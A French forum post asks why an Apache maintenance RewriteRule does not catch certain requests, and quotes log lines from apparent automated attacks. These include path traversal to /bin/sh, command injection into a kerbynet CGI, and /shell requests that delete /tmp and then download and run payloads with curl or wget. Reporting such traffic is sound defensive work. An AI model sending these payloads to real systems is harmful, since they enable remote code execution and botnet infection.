- Ymox,
Bonjour tout le monde !
J’ai l’habitude de mettre une redirection simple RewriteRule .* maintenance.php [END]
en place quand je fais de la maintenance sur un site. Depuis quelque temps, je regarde les logs d’accès créés pendant la période de maintenance, et quelque chose me surprend : je vois passer des requêtes qui ne semblent pas être redirigées, dans la mesure où les réponses n’ont pas le bon statut. En voici quelques unes.
POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
GET /cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=*%22;cd%20%2Ftmp;curl%20-O%20http%3A%2F%2F5.206.227.228%2Fzero;sh%20zero;%22 HTTP/1.0
GET / HTTP/1.1
GET /shell?cd+/tmp;rm+-rf+*;wget+ (un nom de domaine sans schéma)/jaws;sh+/tmp/jaws
GET /shell?cd+/tmp;rm+-rf+*;wget+ http://(une adress IPv4)/.s4y/arm;sh+/tmp/arm
Je n’ai pas de dossier /cgi-bin
ni de fichier shell
. Est-ce que le serveur (Apache) possède des alias qu sont automatiquement mis en place ?
Toutes ces requêtes ont reçu une 400 ou une 404, mais justement, je pensais tout rediriger vers la page de maintenance qui retourne une 503…
Est-ce qu’il manque des flags dans ma redirection pour que ces requêtes soient elles aussi redirigées ?
Merci d’avance